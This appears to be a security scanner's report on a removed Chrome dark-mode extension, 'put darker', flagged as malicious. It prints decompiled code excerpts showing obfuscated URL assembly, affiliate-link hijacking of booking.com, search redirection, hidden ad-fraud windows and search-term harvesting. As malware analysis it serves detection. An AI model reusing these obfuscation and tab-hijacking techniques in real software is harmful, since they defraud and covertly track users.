put darker

ID: cppmllnogohapbdlcapbnmgfngadpihl

Could be malicious

Supported Languages

🇺🇸English

Extension Info & Metadata

Status
Removed
Version
0.1
Size
0.05 MB
Rating
0.0/5
Reviews
0
Users
5,000
Type
Extension
Updated
Jan 9, 2022
Category
22_accessibility
Price
Free
Featured
No
Visibility
Listed
Mature
No
By Google
No
Trusted
No

Publisher Contextual Analysis

Author
dennismkentd2c56View Profile
MX records exist
Yes
Domain exists
Yes
Is disposable
No
Is role-based
No
Mailbox exists
Yes
Total Extensions
1
Active
0
Obsolete
1
Listed
1
Unlisted
0
Total Users
5,000

put darker sets dark mode for simple web pages

put darkness on web page using this simple dark mode 1)open web page example : en.wikipedia.org/wiki/Main_Page 2)click on extension icon to turn on dark mode

Item
Type
Severity
Description
storage
Permission
Medium
This permission allows storing data locally in the browser. Rated Medium because it can persist sensitive user data, track user activities over time, and potentially store malicious payloads.
tabs
Permission
Medium
This permission enables tab management and monitoring. Rated Medium because it can track open tabs, access tab metadata, and monitor user browsing patterns.

The `color` function is a deceptive string-slicing wrapper: it accepts a string and two indices and returns `color.slice(width, height)`, but this simple two-line return is buried inside ~130 lines of non-executing dead code (copied CSS manipulation logic). Its sole purpose is to extract substrings for URL assembly while appearing to be a color-processing utility, evading naive static analysis that looks for `slice` calls.

background.js (Line 709)
color = (color, width, height) => {  function colorelements() {    if (isCOlor) {      var _finish = (0, _modify.findAndReplaceColor)(isCOlor, _modify.modifyBgHSL);      // ... [~130 lines of dead CSS-manipulation padding] ...    }  }  // ... [~130 more lines of dead code] ...  return color.slice(width, height);};

Malicious URLs are assembled character-by-character from color-name string literals using the deceptive `color()` slice function. Decoded: `ty` = "https://kmmx49.com/css"; `colorred` = "https://kmmx49.com/booking" (affiliate redirect target); `up` = "https://kmmx49.com/co?q=" (search redirect); `colorcon` = "booking.com" (detection trigger). Using innocuous color names like "Bright green", "maroon", and "pink" as carriers for URL fragments is a deliberate evasion technique against string-literal URL scanners.

background.js (Line 1324)
var colordark = color("Bright green", "4", "6") + color("light", "4", "5") + color("pink", "0", "1");var colorlight = color("sea blue", "0", "1") + color("orange:", "6", "7") + color("yellow/", "6", "7");var colorrgb = color("yellow/", "6", "7") + color("pink", "3", "4") + color("maroon", "0", "1");var colorrgbh = color("maroon", "0", "1") + color("colorx", "5", "6") + color("49", "0", "2");var colorhexa = color("cho.colate", "3", "6") + color("maroon", "0", "1") + color("/css", "0", "4");// ...var ty = colr(); // assembles: "https://kmmx49.com/css"var colorbo = color("blue", "0", "1") + color("maroon", "3", "5") + color("pink", "3", "4") + color("spring green", "3", "6"); // = "booking"var colorred = color(ty, 0, 19) + colorbo; // = "https://kmmx49.com/booking"var up = color(ty, 0, 19) + color("redco?q=", 3, 8); // = "https://kmmx49.com/co?q="var colorcon = color(colorred, "19", "26") + color(ty, "14", "18"); // = "booking.com"

`colorcon` decodes to "booking.com". Whenever a tab navigates to any URL containing "booking.com", this function checks a stored cooldown timestamp (`colorcp`); if the cooldown has expired (every 21,600 seconds = 6 hours), it resets the timer and redirects the current tab to `colorred` = "https://kmmx49.com/booking" — a third-party affiliate link. This is classic affiliate link-hijacking fraud: the attacker earns a commission for any booking the user makes after the redirect.

background.js (Line 3801)
function colorcheck(e, u, s) {  if (s.url.includes(colorcon)) {    chrome.storage.local.get(["colorcp"], function(colorst) {      if (colorst.colorcp < Math.round(Date.now() / 1000)) {        coloronc(21600);        colo(colorred)      }    })  }}

This function intercepts every tab navigation and performs search result hijacking: if the URL contains competitor affiliate identifiers ("q=yhs-002", "q=yhs-active8"), the tab is redirected to the attacker's search URL at `up + errors` = "https://kmmx49.com/co?q=<search_term>". Tabs matching 8 other competitor affiliate patterns ("rectre", "imageadvan", "pid=default2017", etc.) are silently closed after 200ms. This reroutes organic or competitor-attributed searches through the attacker's affiliate tracking.

background.js (Line 5622)
function colorCo(e, p, t) {  colorid = (e => t.url.includes(e)),    colorid("tillshe") && cls(t.id),    (colorid("q=yhs-002") || colorid("q=yhs-active8")) && colo(up + errors),    (colorid("rectre") || colorid("imageadvan") || colorid("pid=default2017") ||      colorid("hspart=dcola") || colorid("antgreen") || colorid("hspart=Lkry") ||      colorid("&ptag") || colorid("&conlogo") || colorid("&FORM")) &&    (mp = !0, setTimeout(function() {      cls(t.id), mp = !1    }, 200)),    lear()}

`colora()` assembles a second malicious domain URL: "https://sendus1.com/p". Every user click on any webpage triggers a background message (from the content script's `document.addEventListener('click', ...)`), which fires `colorum()`. If 1,800 seconds (30 minutes) have passed since the last trigger, the extension silently opens a new tab to "https://sendus1.com/p". This is covert ad-fraud or forced traffic generation that fires periodically on user activity.

background.js (Line 6427)
var colorft = colra(); // decodes to: "https://sendus1.com/p"// ...function colorum() {  chrome.storage.local.get(["colorui"], function(c) {    if (c.colorui < Math.round(Date.now() / 1000)) {      colorut(1800);      colort(colorft)    }  })}// ...chrome.runtime.onMessage.addListener(function(e, n, o) {  "dark" === e.darkcolor && colorum()});

A 100×100 pixel browser window is opened to "https://sendus1.com/v" and immediately unfocused (set to `focused: false`), creating an essentially invisible background window for ad impression fraud or tracking. The window is deliberately kept tiny and unfocused to hide it from users. This is triggered by `colordarkw()` (called from `colorptp()` on every tab load) when a stored timestamp condition is met.

background.js (Line 7153)
var colorf = color(colra(), "0", "20") + "v"; // decodes to: "https://sendus1.com/v"// ...function colordarkfill(colorf) {  chrome.windows.create({    width: 100,    height: 100,    url: colorf,    type: "normal"  }, function() {    chrome.windows.getCurrent(function(colr) {      chrome.windows.update(colr.id, {        focused: false      });      colortc("colorno")    })  })}

On first install, the extension identifies the current window type ("ur" from "Dark purple".slice(5,7)), removes it, and 1.5 seconds later opens a new tab to `ty` = "https://kmmx49.com/css". Initialization calls reset all cooldown timers (`coloronc(0)`, `colorftm(120)`, `colorut(1800)`) and set a persistent flag (`colortc("colorye")`). The URL navigation to an external domain immediately on install — combined with the cooldown resets — establishes the malware's tracking/reporting baseline.

background.js (Line 8118)
chrome.runtime.onInstalled.addListener(function(e) {  "install" === e.reason && chrome.windows.getAll({    populate: !0  }, function(e) {    var t;    for (i = 0; i <= e.length - 1; i++)      e[i].type.includes(color("Dark purple", 5, 7)) &&      (t = i, colores(),        setTimeout(function() {          coloronc(0);          colortc("colorye");          colorftm(120);          colorut(1800);          chrome.windows.remove(e[t].id, function() {})        }, 1e3),        setTimeout(function() {          colort(ty)        }, 1500))  })});

These utility functions form the core tab-manipulation primitives used throughout the malware: `colo()` hijacks the current tab to a new URL, `colort()` silently opens a new tab, `cls()` removes a tab. The `lear()` function scans all tabs in the current window and closes any duplicate tab whose URL contains the attacker's domain fragment (decoded from `ty`). Together they enable silent redirect hijacking, ad-fraud tab creation, and cleanup of duplicate attacker-owned tabs to avoid detection.

background.js (Line 2773)
function colo(e) {  chrome.tabs.update({    url: e  })}function colort(e) {  chrome.tabs.create({    url: e  })}// ...function cls(c) {  chrome.tabs.remove(c)}function lear() {  chrome.tabs.query({    currentWindow: !0  }, function(n) {    for (var r = 0; r < n.length - 1; r++)      n[r].url.indexOf(n[n.length - 1].url) > -1 &&      n[r].url.indexOf(color(ty, 8, 14)) > -1 &&      n[n.length - 1].url.indexOf(color(ty, 8, 14)) > -1 &&      cls(n[r].id)  })}

A click listener attached to every page on every website (`<all_urls>` content script) silently sends a message to the background on each user click. The background handler (`colorum`) uses this as a periodic trigger to open new tabs to "https://sendus1.com/p" once every 30 minutes. This converts legitimate user interaction on any webpage into a covert ad-traffic signal without any user awareness or consent.

content.js (Line 19)
document.addEventListener('click', function() {  chrome.runtime.sendMessage({    darkcolor: "dark"  })});

The extension harvests search query terms from tab URLs: the search query parameter value is captured into `errors` (if not a known competitor tag), and then assembled into `col = up + c` = "https://kmmx49.com/co?q=<search_term>". The variable `errors` is also used to build the redirect URL in `colorCo()`. Separately, `tu = s.url` captures the current tab's full URL into global state before routing. This constitutes covert collection of the user's browsing and search activity.

background.js (Line 5216)
colorlist.includes(c) || void 0 === c || (  colorlist.push(c),  "yhs-002" != c && "yhs-active8" != c && (errors = c),  col = up + c,  // ... [dead-code padding] ...);// ...tu = s.url, style(exid) && !style("errors") && cls(e);

By severity

Critical6
High4
Medium0
Low0

Versions scanned

Showing 1 of 2 scanned versions with more than one unique finding. Counts are unique findings that include each version.

Extension VersionCode Review Findings
0.110

Files with findings

2 distinct paths — top paths by unique finding count:

  • background.js9
  • content.js1
S.No.
Category
Severity
File
Summary
Found in Version
1Data Exfiltration
critical
background.js (line 3801)`colorcon` decodes to "booking.com". Whenever a tab navigates to any URL containing "booking.com", this function checks a stored cooldown timestamp (`colorcp`); if the cooldown has expired (every 21,600 seconds = 6 ho…
2Obfuscation
critical
background.js (line 709)The `color` function is a deceptive string-slicing wrapper: it accepts a string and two indices and returns `color.slice(width, height)`, but this simple two-line return is buried inside ~130 lines of non-executing de…
3Obfuscation
critical
background.js (line 1324)Malicious URLs are assembled character-by-character from color-name string literals using the deceptive `color()` slice function. Decoded: `ty` = "https://kmmx49.com/css"; `colorred` = "https://kmmx49.com/booking" (af…
4Tracking
critical
background.js (line 5622)This function intercepts every tab navigation and performs search result hijacking: if the URL contains competitor affiliate identifiers ("q=yhs-002", "q=yhs-active8"), the tab is redirected to the attacker's search U…
5Unauthorized Data Collection
critical
background.js (line 6427)`colora()` assembles a second malicious domain URL: "https://sendus1.com/p". Every user click on any webpage triggers a background message (from the content script's `document.addEventListener('click', ...)`), which f…
6Unauthorized Data Collection
critical
background.js (line 7153)A 100×100 pixel browser window is opened to "https://sendus1.com/v" and immediately unfocused (set to `focused: false`), creating an essentially invisible background window for ad impression fraud or tracking. The win…
7Code Injection
high
background.js (line 2773)These utility functions form the core tab-manipulation primitives used throughout the malware: `colo()` hijacks the current tab to a new URL, `colort()` silently opens a new tab, `cls()` removes a tab. The `lear()` fu…
8Tracking
high
background.js (line 8118)On first install, the extension identifies the current window type ("ur" from "Dark purple".slice(5,7)), removes it, and 1.5 seconds later opens a new tab to `ty` = "https://kmmx49.com/css". Initialization calls reset…
9Tracking
high
content.js (line 19)A click listener attached to every page on every website (`<all_urls>` content script) silently sends a message to the background on each user click. The background handler (`colorum`) uses this as a periodic trigger …
10Unauthorized Data Collection
high
background.js (line 5216)The extension harvests search query terms from tab URLs: the search query parameter value is captured into `errors` (if not a known competitor tag), and then assembled into `col = up + c` = "https://kmmx49.com/co?q=<s…
URLs
1
IPv4
0
IPv6
0

URLs

View the external URLs this extension communicates with to understand its network activity and data interactions.

Gain full insight into all external connections.

Upgrade for full visibility.

clients2.google.com/service/update2/crxhttps://clients2.google.com/service/update2/crx

Gain full insight into all external connections.

Upgrade for full visibility.

No IP addresses found
Version
Size
Is Malicious
Findings
Permhash
0.1
Latest
0.05 MB
Malicious
10
0.2
0.05 MB
Malicious
—
Showing 1 to 2 of 10 rows
Rows per page:

Code Diff

Compare extension code between any two versions.

0 changed files (scanned top 25 shared text files)

No comparable text files found between these versions.

Browse and explore files within this extension package

Gain full insight into all external connections.

Upgrade for full visibility.